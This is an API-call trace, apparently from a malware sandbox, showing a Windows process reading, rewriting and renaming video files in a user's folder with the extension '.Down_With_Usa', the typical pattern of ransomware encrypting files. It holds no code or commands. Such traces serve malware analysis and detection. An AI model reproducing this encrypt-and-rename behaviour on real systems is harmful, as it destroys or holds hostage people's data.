[0123.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi.Down_With_Usa", lpFilePart=0x0) returned 0x6c
[0123.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\juu8mvcu4opa.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc2d140, ftCreationTime.dwHighDateTime=0x1d5dddf, ftLastAccessTime.dwLowDateTime=0x5e95b760, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0x2654ec20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8950)) returned 1
[0123.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.948] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\juu8mvcu4opa.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\juu8mvcu4opa.avi.down_with_usa")) returned 1
[0123.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf", lpFilePart=0x0) returned 0x60
[0123.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\kn oe4gm2zgzqe.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.949] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x18a72
[0123.950] ReadFile (in: hFile=0x3a8, lpBuffer=0x15788cb8, nNumberOfBytesToRead=0x18a72, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x15788cb8*, lpNumberOfBytesRead=0x2eb358*=0x18a72, lpOverlapped=0x0) returned 1
[0123.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf", lpFilePart=0x0) returned 0x60
[0123.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\kn oe4gm2zgzqe.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf", lpFilePart=0x0) returned 0x60
[0123.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf.Down_With_Usa", lpFilePart=0x0) returned 0x6e
[0123.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\kn oe4gm2zgzqe.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7d28d0, ftCreationTime.dwHighDateTime=0x1d5e1cd, ftLastAccessTime.dwLowDateTime=0x2179ade0, ftLastAccessTime.dwHighDateTime=0x1d5ddd6, ftLastWriteTime.dwLowDateTime=0x265e71a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18a80)) returned 1
[0123.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.999] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\kn oe4gm2zgzqe.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Kn oe4gm2zGzQe.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\kn oe4gm2zgzqe.swf.down_with_usa")) returned 1
[0124.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4", lpFilePart=0x0) returned 0x65
[0124.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0124.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\legqz0bhndepn78nfbg.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0124.000] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x7427
[0124.000] ReadFile (in: hFile=0x3a8, lpBuffer=0x2642468, nNumberOfBytesToRead=0x7427, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2642468*, lpNumberOfBytesRead=0x2eb358*=0x7427, lpOverlapped=0x0) returned 1
[0124.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4", lpFilePart=0x0) returned 0x65
[0124.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0124.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\legqz0bhndepn78nfbg.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0124.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0124.039] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4", lpFilePart=0x0) returned 0x65
[0124.039] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x73
[0124.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0124.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\legqz0bhndepn78nfbg.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9508ff0, ftCreationTime.dwHighDateTime=0x1d5e36b, ftLastAccessTime.dwLowDateTime=0xdbc19220, ftLastAccessTime.dwHighDateTime=0x1d5e32c, ftLastWriteTime.dwLowDateTime=0x26633460, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7430)) returned 1
[0124.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0124.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\legqz0bhndepn78nfbg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\lEgQZ0bHNDepn78nfBG.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\legqz0bhndepn78nfbg.mp4.down_with_usa")) returned 1
[0124.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0124.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", lpFilePart=0x0) returned 0x5a
[0124.041] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\", lpFilePart=0x0) returned 0x5b
[0124.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd92f9640, ftCreationTime.dwHighDateTime=0x1d5e0b3, ftLastAccessTime.dwLowDateTime=0xd3c97930, ftLastAccessTime.dwHighDateTime=0x1d5dd31, ftLastWriteTime.dwLowDateTime=0xd3c97930, ftLastWriteTime.dwHighDateTime=0x1d5dd31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0124.041] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd92f9640, ftCreationTime.dwHighDateTime=0x1d5e0b3, ftLastAccessTime.dwLowDateTime=0xd3c97930, ftLastAccessTime.dwHighDateTime=0x1d5dd31, ftLastWriteTime.dwLowDateTime=0xd3c97930, ftLastWriteTime.dwHighDateTime=0x1d5dd31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.041] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77526950, ftCreationTime.dwHighDateTime=0x1d5e3d0, ftLastAccessTime.dwLowDateTime=0x347e29b0, ftLastAccessTime.dwHighDateTime=0x1d5da2b, ftLastWriteTime.dwLowDateTime=0x347e29b0, ftLastWriteTime.dwHighDateTime=0x1d5da2b, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AvDXtUFYM-T.avi", cAlternateFileName="8AVDXT~1.AVI")) returned 1
[0124.041] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6e3920, ftCreationTime.dwHighDateTime=0x1d5d9f6, ftLastAccessTime.dwLowDateTime=0xeb2d8170, ftLastAccessTime.dwHighDateTime=0x1d5dd5e, ftLastWriteTime.dwLowDateTime=0xeb2d8170, ftLastWriteTime.dwHighDateTime=0x1d5dd5e, nFileSizeHigh=0x0, nFileSizeLow=0xbbe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA2kx.mp4", cAlternateFileName="")) returned 1
[0124.041] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4035b8f0, ftCreationTime.dwHighDateTime=0x1d5e637, ftLastAccessTime.dwLowDateTime=0x3e71d40, ftLastAccessTime.dwHighDateTime=0x1d5d91b, ftLastWriteTime.dwLowDateTime=0x3e71d40, ftLastWriteTime.dwHighDateTime=0x1d5d91b, nFileSizeHigh=0x0, nFileSizeLow=0x10078, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgNK2IfG2wp2s.swf", cAlternateFileName="HGNK2I~1.SWF")) returned 1
[0124.041] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee99b40, ftCreationTime.dwHighDateTime=0x1d5dc77, ftLastAccessTime.dwLowDateTime=0x825c2880, ftLastAccessTime.dwHighDateTime=0x1d5dfda, ftLastWriteTime.dwLowDateTime=0x825c2880, ftLastWriteTime.dwHighDateTime=0x1d5dfda, nFileSizeHigh=0x0, nFileSizeLow=0x15cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qGV1sDKt.avi", cAlternateFileName="")) returned 1
[0124.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7b0dab0, ftCreationTime.dwHighDateTime=0x1d5e3c2, ftLastAccessTime.dwLowDateTime=0x4b610100, ftLastAccessTime.dwHighDateTime=0x1d5e5fe, ftLastWriteTime.dwLowDateTime=0x4b610100, ftLastWriteTime.dwHighDateTime=0x1d5e5fe, nFileSizeHigh=0x0, nFileSizeLow=0x84e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qIFgNEtuwM.mp4", cAlternateFileName="QIFGNE~1.MP4")) returned 1
[0124.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc91840, ftCreationTime.dwHighDateTime=0x1d5e179, ftLastAccessTime.dwLowDateTime=0x8153f440, ftLastAccessTime.dwHighDateTime=0x1d5e16f, ftLastWriteTime.dwLowDateTime=0x8153f440, ftLastWriteTime.dwHighDateTime=0x1d5e16f, nFileSizeHigh=0x0, nFileSizeLow=0x33ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="r7xLKftkfTQLJdc.flv", cAlternateFileName="R7XLKF~1.FLV")) returned 1
[0124.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ffb740, ftCreationTime.dwHighDateTime=0x1d5dbd4, ftLastAccessTime.dwLowDateTime=0xef2429f0, ftLastAccessTime.dwHighDateTime=0x1d5dd04, ftLastWriteTime.dwLowDateTime=0xef2429f0, ftLastWriteTime.dwHighDateTime=0x1d5dd04, nFileSizeHigh=0x0, nFileSizeLow=0xfdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="wf4OS1.avi", cAlternateFileName="")) returned 1
[0124.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0124.042] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0124.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0124.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0124.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0124.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge", lpFilePart=0x0) returned 0x5a
[0124.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\", lpFilePart=0x0) returned 0x5b
[0124.043] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\kLPcHKOIJ7ge\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd92f9640, ftCreationTime.dwHighDateTime=0x1d5e0b3, ftLastAccessTime.dwLowDateTime=0xd3c97930, ftLastAccessTime.dwHighDateTime=0x1d5dd31, ftLastWriteTime.dwLowDateTime=0xd3c97930, ftLastWriteTime.dwHighDateTime=0x1d5dd31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0124.043] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd92f9640, ftCreationTime.dwHighDateTime=0x1d5e0b3, ftLastAccessTime.dwLowDateTime=0xd3c97930, ftLastAccessTime.dwHighDateTime=0x1d5dd31, ftLastWriteTime.dwLowDateTime=0xd3c97930, ftLastWriteTime.dwHighDateTime=0x1d5dd31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.043] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77526950, ftCreationTime.dwHighDateTime=0x1d5e3d0, ftLastAccessTime.dwLowDateTime=0x347e29b0, ftLastAccessTime.dwHighDateTime=0x1d5da2b, ftLastWriteTime.dwLowDateTime=0x347e29b0, ftLastWriteTime.dwHighDateTime=0x1d5da2b, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AvDXtUFYM-T.avi", cAlternateFileName="8AVDXT~1.AVI")) returned 1
[0124.043] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6e3920, ftCreationTime.dwHighDateTime=0x1d5d9f6, ftLastAccessTime.dwLowDateTime=0xeb2d8170, ftLastAccessTime.dwHighDateTime=0x1d5dd5e, ftLastWriteTime.dwLowDateTime=0xeb2d8170, ftLastWriteTime.dwHighDateTime=0x1d5dd5e, nFileSizeHigh=0x0, nFileSizeLow=0xbbe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CA2kx.mp4", cAlternateFileName="")) returned 1
[0124.043] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4035b8f0, ftCreationTime.dwHighDateTime=0x1d5e637, ftLastAccessTime.dwLowDateTime=0x3e71d40, ftLastAccessTime.dwHighDateTime=0x1d5d91b, ftLastWriteTime.dwLowDateTime=0x3e71d40, ftLastWriteTime.dwHighDateTime=0x1d5d91b, nFileSizeHigh=0x0, nFileSizeLow=0x10078, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgNK2IfG2wp2s.swf", cAlternateFileName="HGNK2I~1.SWF")) returned 1
[0124.045] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee99b40, ftCreationTime.dwHighDateTime=0x1d5dc77, ftLastAccessTime.dwLowDateTime=0x825c2880, ftLastAccessTime.dwHighDateTime=0x1d5dfda, ftLastWriteTime.dwLowDateTime=0x825c2880, ftLastWriteTime.dwHighDateTime=0x1d5dfda, nFileSizeHigh=0x0, nFileSizeLow=0x15cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qGV1sDKt.avi", cAlternateFileName="")) returned 1
[0124.045] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7b0dab0, ftCreationTime.dwHighDateTime=0x1d5e3c2, ftLastAccessTime.dwLowDateTime=0x4b610100, ftLastAccessTime.dwHighDateTime=0x1d5e5fe, ftLastWriteTime.dwLowDateTime=0x4b610100, ftLastWriteTime.dwHighDateTime=0x1d5e5fe, nFileSizeHigh=0x0, nFileSizeLow=0x84e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qIFgNEtuwM.mp4", cAlternateFileName="QIFGNE~1.MP4")) returned 1
[0124.045] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc91840, ftCreationTime.dwHighDateTime=0x1d5e179, ftLastAccessTime.dwLowDateTime=0x8153f440, ftLastAccessTime.dwHighDateTime=0x1d5e16f, ftLastWriteTime.dwLowDateTime=0x8153f440, ftLastWriteTime.dwHighDateTime=0x1d5e16f, nFileSizeHigh=0x0, nFileSizeLow=0x33ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="r7xLKftkfTQLJdc.flv", cAlternateFileName="R7XLKF~1.FLV")) returned 1
